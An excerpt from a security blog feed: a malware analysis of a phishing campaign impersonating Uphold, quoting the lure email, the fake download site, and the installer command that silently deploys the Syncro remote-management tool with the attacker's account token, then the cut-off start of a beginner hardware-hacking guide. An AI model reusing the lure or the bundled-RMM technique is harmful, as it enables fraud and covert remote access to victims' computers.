&lt;p&gt;As always, the surprise comes in the subject of the email: “Introducing Uphold Desktop Application — Built to Resolve User Issues and Enhance Your Experience” coming from a suspect email address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;newsletter@uphold25.blog&lt;/code&gt; in the name of Uphold. To nobody’s surprise, I don’t have an account on Uphold, so this is not really spear-phishing.&lt;/p&gt;

&lt;details&gt;
  &lt;summary&gt;Email contents (click to expand)&lt;/summary&gt;
  &lt;p&gt;Dear Uphold User,&lt;/p&gt;

&lt;p&gt;Over the past months, we have listened carefully to your feedback concerning account restrictions, withdrawal delays, verification challenges, customer-support response times, 2FA difficulties, device-compatibility problems, and other unexpected disruptions. We recognize the frustration these issues have caused, and we appreciate your patience as we focused on strengthening the Uphold platform.&lt;/p&gt;

&lt;p&gt;We are pleased to introduce the Uphold Desktop Application — a major upgrade designed specifically to fix, correct, and fully rectify the recent challenges many users have experienced.&lt;/p&gt;

&lt;p&gt;The latest desktop environment delivers:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Enhanced reliability and stability, reducing account-usage interruptions and verification failures.&lt;/li&gt;
&lt;li&gt;Improved transaction handling, ensuring smoother deposits, withdrawals, and transfers.&lt;/li&gt;
&lt;li&gt;Strengthened security infrastructure, including upgraded 2FA and safer wallet-linking protocols.&lt;/li&gt;
&lt;li&gt;A modern, refined interface that makes navigation faster and more intuitive.&lt;/li&gt;
&lt;li&gt;Maximum efficiency, especially for users who faced limitations on older mobile devices.&lt;/li&gt;
&lt;li&gt;Priority support integration, allowing improved issue resolution directly within the app.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Uphold services — trading, asset management, transfers, staking, and wallet operations — are more efficient, more secure, and more user-friendly on the desktop platform. The application represents the next stage in our commitment to delivering a seamless, transparent, and dependable experience for every Uphold user.&lt;/p&gt;

&lt;p&gt;📥: [https://www.upholddesktop.app/](https://www.upholddesktop.app/)
We encourage all users to download and begin using the Uphold Desktop App, where you&apos;ll benefit from these enhancements directly and enjoy a more consistent, stable, and streamlined interface.&lt;/p&gt;

&lt;p&gt;Thank you for your continued trust. We remain fully committed to building a platform that meets your expectations and supports your prosperity.&lt;/p&gt;

&lt;p&gt;Sincerely,&lt;/p&gt;
&lt;p&gt;The Uphold Team.&lt;/p&gt;
&lt;/details&gt;

&lt;p&gt;So, we finally get our juicy link &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://www.upholddesktop.app/&lt;/code&gt;. This is a simple page, but a really well-made one, hosted on Vercel&lt;sup id=&quot;fnref:1&quot; role=&quot;doc-noteref&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot; rel=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; (seems to be a trend now).&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 65%;&quot; alt=&quot;Uphold Phishing Website&quot; src=&quot;/images/uphold25/upholddesktop.jpeg&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;Checking the &lt;a href=&quot;https://lookup.icann.org/en/lookup&quot;&gt;WHOIS&lt;/a&gt; data for the domain does not provide any useful data other than the registar &lt;a href=&quot;http://nicenic.net&quot;&gt;NiceNIC.net&lt;/a&gt;. NiceNIC website has a &lt;a href=&quot;https://www.ssllabs.com/ssltest/analyze.html?d=nicenic.net&quot;&gt;partially broken SSL certificate&lt;/a&gt;, and seems to sell domains in bulk - offering an API to create them on-demand (Free Reseller API) which seems a nice trick for more automation on the attacker’s side.&lt;/p&gt;

&lt;h2 id=&quot;the-analysis&quot;&gt;The Analysis&lt;/h2&gt;

&lt;p&gt;The first thing that I like to do is a quick scan using &lt;a href=&quot;https://urlscan.io/&quot;&gt;urlscan.io&lt;/a&gt;. As expected, the report is matching the expected “Malicious Activity!” (feel free to check the &lt;a href=&quot;https://urlscan.io/result/019a8892-f207-7119-9d6d-c37916942e11/&quot;&gt;public report here&lt;/a&gt;).&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 65%;&quot; alt=&quot;URLScan report&quot; src=&quot;/images/uphold25/urlscan.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;So, we have a download button pointing to Gofile (another random file hosting website), &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;https://store-na-phx-3.gofile.io/download/direct/42fc8912-xxxx-xxxx-xxxx-fe121eefd839/Uphold-installer.exe&lt;/code&gt;. Let’s download it (be careful if you decide to do similar adventures on your own; it is always recommended to use a sandbox machine or virtual machine).&lt;/p&gt;

&lt;p&gt;Let’s upload the &lt;em&gt;bug&lt;/em&gt; to &lt;a href=&quot;https://www.virustotal.com/&quot;&gt;VirusTotal&lt;/a&gt;. Once again, rightfully detected, but strangely enough just by a handful of antivirus tools, more precisely &lt;strong&gt;only 8 out of 72 antivirus programs flag it as malicious&lt;/strong&gt; (you can find the &lt;a href=&quot;https://www.virustotal.com/gui/file/9211f0e753c0b19e54cc3d715679dc814a37b9368964abbc502edd5cf30fb1ef&quot;&gt;report here&lt;/a&gt;). Most of the ones that detect it identify it as either a trojan or remote tool (should we say same face of the same coin?).&lt;/p&gt;

&lt;p&gt;Until so far we depended on automated analysis and reports, but should we take a closer look? Although one can have fun &lt;a href=&quot;https://github.com/mandiant/flare-vm&quot;&gt;setting up a malware sandbox (e.g., FLARE-VM)&lt;/a&gt;, nowadays time runs short, so using a free sandbox is more than enough. For me the go-to has always been &lt;a href=&quot;https://any.run/&quot;&gt;ANY.RUN&lt;/a&gt; as the free usage tier is not bad at all.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width:100%;&quot; alt=&quot;AnyRun&quot; src=&quot;/images/uphold25/AnyRun.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;The tool allows you to upload your executable and trigger its execution inside a Windows 10 environment. This allows us to see the malware’s movements in a safe, automated, and &lt;em&gt;lazy&lt;/em&gt; way. As per the executable behavior, ANY.RUN also flags the executable as malware, and you can find the &lt;a href=&quot;https://app.any.run/tasks/70cbc321-d7b5-454d-b21c-852cbcdcc07b&quot;&gt;execution report here&lt;/a&gt;.&lt;/p&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width:100%;&quot; alt=&quot;Execution Graph&quot; src=&quot;/images/uphold25/anyrungraph.png&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;p&gt;One of the best views is the execution graph, which gives you an overview of the malware execution path and makes visible some of its inner workings. One of the things that stood out in several aspects was the name of the executable dropped by the main &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;uphold-installer.exe&lt;/code&gt;, more concretely &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;syncro.installer.exe&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://syncromsp.com/platform/rmm/&quot;&gt;Syncro&lt;/a&gt; is &lt;em&gt;yet another&lt;/em&gt; Remote Monitoring and Management (RMM) tool which seems to have changed names at some point from Kabuto (name still used to download the tool from &lt;a href=&quot;https://production.kabutoservices.com/&quot;&gt;https://production.kabutoservices.com/&lt;/a&gt;). And the tool seems to be owned by RepairTech (&lt;a href=&quot;https://www.repairtechsolutions.com/documentation/kabuto/&quot;&gt;https://www.repairtechsolutions.com/documentation/kabuto/&lt;/a&gt;), which is still in the tool installation path: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%ProgramFiles%\repairtech\syncro\install.bat&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Looking at the malware’s execution first command, we can also see that it passes by argument both a JWT token and a configuration file in base64:&lt;/p&gt;
&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&quot;C:\Users\admin\AppData\Local\Temp\Syncro.Installer.exe&quot; --jwt-payload &quot;eyJ0eXAiOiJKV1QiLCJhbGciOiJFUzI1NiJ9.eyJ2ZXJzaW9uIjoxLCJpbnN0YWxsIjp7InNob3AiOiJ1Q2xLcVpHU2dkcVR6aldXWHREWHZRIiwiY3VzdG9tZXJfaWQiOjE3NjAzMDEsImZvbGRlcl9pZCI6NDczMDUzNn0sInNlcnZpY2luZyI6eyJjaGFubmVsIjoic3luY3JvLXJ0bSIsInRhcmdldCI6InN5bmNybyJ9fQ.L7Ch7BjgPHpGqlOAnXdQLncIdXzq8xjjb7GDpDdPMypo3_qX6VV_c9sbmxvCkelI0tkyLcSHyEWEYLQ4QijxAw&quot; --config-json &quot;ewogICJBdXRoVXJsIjogImh0dHBzOi8vYWRtaW4uc3luY3JvYXBpLmNvbSIsCiAgIkthYnV0b1VybCI6ICJodHRwczovL3JtbS5zeW5jcm9tc3AuY29tIiwKICAiU3luY3JvVXJscyI6IFsKICAgICJodHRwczovL3tzdWJkb21haW59LnN5bmNyb2FwaS5jb20iLAogICAgImh0dHBzOi8ve3N1YmRvbWFpbn0uc3luY3JvbXNwLmNvbSJdLAogICJMb2dEdW1wZXJVcmwiOiAiaHR0cHM6Ly9sZC5hdXJlbGl1cy5ob3N0IiwKICAiVXBkYXRlVXJsIjogImh0dHBzOi8vcHJvZHVjdGlvbi5rYWJ1dG9zZXJ2aWNlcy5jb20vc3luY3JvL21haW4vdXBkYXRlcy8iLAogICJPdmVybWluZFVwZGF0ZVVybCI6ICJodHRwczovL3Byb2R1Y3Rpb24ua2FidXRvc2VydmljZXMuY29tL3N5bmNyby9vdmVybWluZC91cGRhdGVzLyIsCiAgIkNob2NvbGF0ZXlJbnN0YWxsZXJVcmwiOiAiaHR0cHM6Ly9wcm9kdWN0aW9uLmthYnV0b3NlcnZpY2VzLmNvbS9jaG9jby9rYWJ1dG9fcGF0Y2hfbWFuYWdlciIsCiAgIldlYlNvY2tldFVybCI6ICJ3c3M6Ly9yZWFsdGltZS5rYWJ1dG9zZXJ2aWNlcy5jb20vc29ja2V0IiwKICAiQ2hhdFVybCI6ICJ3c3M6Ly9jaGF0LWNoYXQuc3luY3JvbXNwLmNvbS9zb2NrZXQiLAogICJfIjogIiIKfQo=&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;By decoding the &lt;a href=&quot;https://www.jwt.io/&quot;&gt;JWT token&lt;/a&gt; we can see the authentication payload passed to Syncro:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;version&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;install&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;shop&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;uClKqZGSgdqTzjWWXtDXvQ&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;customer_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1760301&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;folder_id&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4730536&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;servicing&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;channel&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;syncro-rtm&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;target&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;syncro&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And by looking at the configuration, we can also find more details about the installation configuration:&lt;/p&gt;

&lt;div class=&quot;language-json highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;AuthUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://admin.syncroapi.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;KabutoUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://rmm.syncromsp.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;SyncroUrls&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://{subdomain}.syncroapi.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://{subdomain}.syncromsp.com&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;LogDumperUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://ld.aurelius.host&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;UpdateUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://production.kabutoservices.com/syncro/main/updates/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;OvermindUpdateUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://production.kabutoservices.com/syncro/overmind/updates/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ChocolateyInstallerUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;https://production.kabutoservices.com/choco/kabuto_patch_manager&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;WebSocketUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;wss://realtime.kabutoservices.com/socket&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;ChatUrl&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;wss://chat-chat.syncromsp.com/socket&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
  &lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;&quot;_&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;w&quot;&gt; &lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;w&quot;&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So, at the end of the day, we can find that the trojan, &lt;em&gt;if we can call it such&lt;/em&gt;, was nothing more than a bundled version of a, let’s say, shady RMM tool, which, if installed, would provide the attacker full access to the victim’s computer. And I can almost bet that the attacker’s are leveraging the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Free trial&lt;/code&gt; provided by Syncro.&lt;/p&gt;

&lt;p&gt;The last piece of the puzzle was to understand how it bypassed so many antivirus programs, but this is easily explained by the verified signature of the RMM software by &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Servably Inc.&lt;/code&gt;, yet another name for the same company. The certificate details can be found in &lt;a href=&quot;https://bazaar.abuse.ch/sample/acc6721dbddad55c6a76b460a8a53bc5d4e97d00990e4cac686b2ab2877e1a91/&quot;&gt;abuse.ch&lt;/a&gt; where we can see that the same signature was used in at least another 15 samples.&lt;/p&gt;

&lt;h2 id=&quot;timeline&quot;&gt;Timeline&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;[15/11/2025] Phishing email received&lt;/li&gt;
  &lt;li&gt;[16/11/2025] Domain reported to &lt;a href=&quot;https://www.registry.google/&quot;&gt;Google&lt;/a&gt;. File reported as abuse to &lt;a href=&quot;https://gofile.io/&quot;&gt;Gofile&lt;/a&gt;. Syncro abuse also reported to the company without any reply.&lt;/li&gt;
  &lt;li&gt;[17/11/2025] Domain takedown.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;footnotes&quot;&gt;Footnotes&lt;/h3&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;https://cyberarmor.tech/blog/threat-insight-cybercriminals-abusing-vercel-to-deliver-remote-access-malware&quot;&gt;Threat Insight: Cybercriminals Abusing Vercel to Deliver Remote Access Malware&lt;/a&gt;. &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        <pubDate>Mon, 17 Nov 2025 00:00:00 +0000</pubDate>
        <link>https://jpdias.me/infosec/2025/11/17/trojans-made-easy.html</link>
        <guid isPermaLink="true">https://jpdias.me/infosec/2025/11/17/trojans-made-easy.html</guid>
        
        <category>phishing</category>
        
        <category>malware</category>
        
        <category>uphold</category>
        
        
        <category>infosec</category>
        
      </item>
    
      <item>
        <title>Hardware Hacking 101 Village - Post-Mortem</title>
        <description>&lt;p&gt;On June 14, 2025, I organized a hardware hacking focused village as part of the ØxＯＰＯＳɆＣ Hack Day, and this is a post-mortem analysis of the village, focusing on some of the observations and common mishaps, and how to improve your journey in the hardware hacking world, especially from a beginner’s standpoint.&lt;/p&gt;

&lt;!--more--&gt;

&lt;div class=&quot;row&quot; style=&quot;text-align:center&quot;&gt;
  &lt;div class=&quot;column&quot;&gt;
    &lt;img style=&quot;width: 50%;&quot; alt=&quot;Hack Day event&quot; src=&quot;/images/hackday25/oxehack-day.jpeg&quot; /&gt;
  &lt;/div&gt;
&lt;/div&gt;

&lt;h2 id=&quot;get-the-basics-right-learn-electronics-and-hardware-programming&quot;&gt;Get the Basics Right: Learn Electronics and Hardware Programming&lt;/h2&gt;

&lt;p&gt;Before diving into the world of hardware hacking, learn the basics of hardware programming and electronics. Using the craziest fault injection technique will seem like magic if you don’t understand why bit flips happen and what that implies, e.g., in jumping instructions. So get your hands on a cheap Arduino Nano, or ESP32, some protoboard and some sensors, and get your hands dirty building something. You have plenty of places to find beginner projects, e.g., &lt;a href=&quot;https://projecthub.arduino.cc/&quot;&gt;Arduino ProjectHub&lt;/a&gt; and &lt;a href=&quot;https://hackaday.io/discover&quot;&gt;Hackaday.io&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;collect-target-devices&quot;&gt;Collect Target Devices&lt;/h2&gt;

&lt;p&gt;You know that old router you’re going to throw away? Keep it! Ask your friends if they have old IoT devices that they no longer use. Buy cheap IP cameras from AliExpress. The goal is variety, not quality. Different manufacturers create things differently, so there are more tricks and quirks to learn and experiment with. Just collect hardware. They are fun to play with – and also easy to ruin – and &lt;a href=&quot;https://en.wikipedia.org/wiki/Magic_smoke&quot;&gt;once you free the magic smoke, there is no going back&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;dont-be-afraid-of-soldering&quot;&gt;Don’t Be Afraid of Soldering&lt;/h2&gt;

&lt;p&gt;If you are playing in the world of hardware, you will unavoidably need to solder at some point. Get a regulatable temperature soldering iron (like these fancy &lt;a href=&quot;https://pine64.com/product/pinecil-smart-mini-portable-soldering-iron/&quot;&gt;Pinecil $30 USB-C powered ones&lt;/a&gt;) and you are good to go. But only solder when you need to – most of the time you can get away with &lt;a href=&quot;https://www.tindie.com/products/johnnywu/254mm-pcb-probe-clip/&quot;&gt;pogo pins&lt;/a&gt;, &lt;a href=&quot;https://www.amazon.com/flexman-Multimeter-Adapter-Electronic-Testing/dp/B0CRD9X58B&quot;&gt;Micro IC Hook Clips&lt;/a&gt; or &lt;a href=&quot;https://www.thingiverse.com/thing:2318886&quot;&gt;fancy needle-probes&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;If you want to build a fancy version, I recommend &lt;a href=&quot;https://hackaday.com/2019/11/15/needling-your-projects-3d-printed-pcb-probing-jig-uses-accupuncture-needles/&quot;&gt;this 3D-printed PCB probing jig&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;serial-interfaces-everywhere&quot;&gt;Serial Interfaces Everywhere&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://www.amazon.es/TECNOIOT-FT232RL-Serial-Converter-Adapter/dp/B083M61T3J&quot;&gt;FT232RL USB-to-serial converters&lt;/a&gt; are essential. Get USB-C versions if possible. UART interfaces are your gateway to most devices.&lt;/p&gt;

&lt;h2 id=&quot;logic-analyzers-cheap-works&quot;&gt;Logic Analyzers: Cheap Works&lt;/h2&gt;

&lt;p&gt;Get a &lt;a href=&quot;https://www.amazon.es/Analizador-segundos-analizador-Depurador-herramienta/dp/B0FGP46Y9Z&quot;&gt;cheap 8-channel logic analyzer&lt;/a&gt;. €20 gets you something that is fiddly to work with, but it should work for most scenarios, even if it needs some trial and error. Don’t expect high accuracy or the ability to record high baudrate signals, but those are not that common on consumer-level devices.&lt;/p&gt;

&lt;p&gt;Also, use simple UI software. &lt;a href=&quot;https://www.saleae.com/downloads/&quot;&gt;Saleae Logic software&lt;/a&gt; and &lt;a href=&quot;https://sigrok.org/wiki/PulseView&quot;&gt;sigrok/PulseView&lt;/a&gt; are both free and work with these cheap analyzers. You get professional-grade protocol decoding without the professional price tag.&lt;/p&gt;

&lt;h2 id=&quot;multimeters-get-one-and-then-another-one&quot;&gt;Multimeters: Get One, and Then Another One&lt;/h2&gt;

&lt;p&gt;Start cheap; anything will mostly work. But a proper UNI-T or equivalent brand multimeter around €80 is worth it. You get accurate readings and something you can trust for both electronics and home repairs involving high voltage (be careful anyway).&lt;/p&gt;

&lt;h2 id=&quot;most-things-are-obvious&quot;&gt;Most Things Are Obvious&lt;/h2&gt;

&lt;p&gt;Debug pins are labeled on PCBs. Test points have silk screen text. UART interfaces sit there waiting. Manufacturers assume no one will look (or they don’t care enough).&lt;/p&gt;

&lt;h2 id=&quot;fault-injection-on-a-budget&quot;&gt;Fault Injection on a Budget&lt;/h2&gt;

&lt;p&gt;Need fault injection? A mosquito net works. &lt;a href=&quot;https://www.da.vidbuchanan.co.uk/blog/dram-emfi.html&quot;&gt;David Buchanan’s DRAM EMFI technique&lt;/a&gt; shows how simple solutions are sometimes all you need. Before trying fault injection on real-world devices, start with things you have programmed yourself – that way you can easily understand what is going on.&lt;/p&gt;

&lt;h2 id=&quot;software-that-works&quot;&gt;Software That Works&lt;/h2&gt;

&lt;p&gt;Don’t be hard on yourself by forcing yourself to learn crazy terminal interfaces with too many flags for any human being to know by heart unless you work with them constantly. UIs were created for a reason – use them!&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://gitlab.com/cutecom/cutecom&quot;&gt;CuteCom&lt;/a&gt; for serial communications.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/bigbigmdm/IMSProg&quot;&gt;IMSProg&lt;/a&gt; for EEPROM work.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/NationalSecurityAgency/ghidra&quot;&gt;Ghidra&lt;/a&gt; for reverse engineering.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;UIs save time. Your brain should focus on the problem, not command flags and syntax.&lt;/p&gt;

&lt;h2 id=&quot;firmware-is-right-there&quot;&gt;Firmware Is Right There&lt;/h2&gt;

&lt;p&gt;Most firmware is accessible through the bootloader. Connect to UART, interrupt the boot process, dump flash contents. No need for complex extraction.&lt;/p&gt;

&lt;p&gt;Once you have firmware, &lt;a href=&quot;https://github.com/ReFirmLabs/binwalk&quot;&gt;binwalk&lt;/a&gt; does the heavy lifting. Extract filesystems, find interesting files, analyze without reverse engineering. Sometimes you don’t even need Ghidra – &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep&lt;/code&gt; will take you a long way. Search for certificates, endpoints, passwords… they will be there.&lt;/p&gt;

&lt;p&gt;Check out my &lt;a href=&quot;https://jpdias.me/hardware/2021/02/02/adventures-in-reverse-dlink.html&quot;&gt;previous adventure with a D-Link router&lt;/a&gt; for a practical example of this workflow - bootloader access, firmware extraction, and finding vulnerabilities in plain text configuration files.&lt;/p&gt;

&lt;h2 id=&quot;radio-waves-the-invisible-attack-surface&quot;&gt;Radio Waves: The Invisible Attack Surface&lt;/h2&gt;

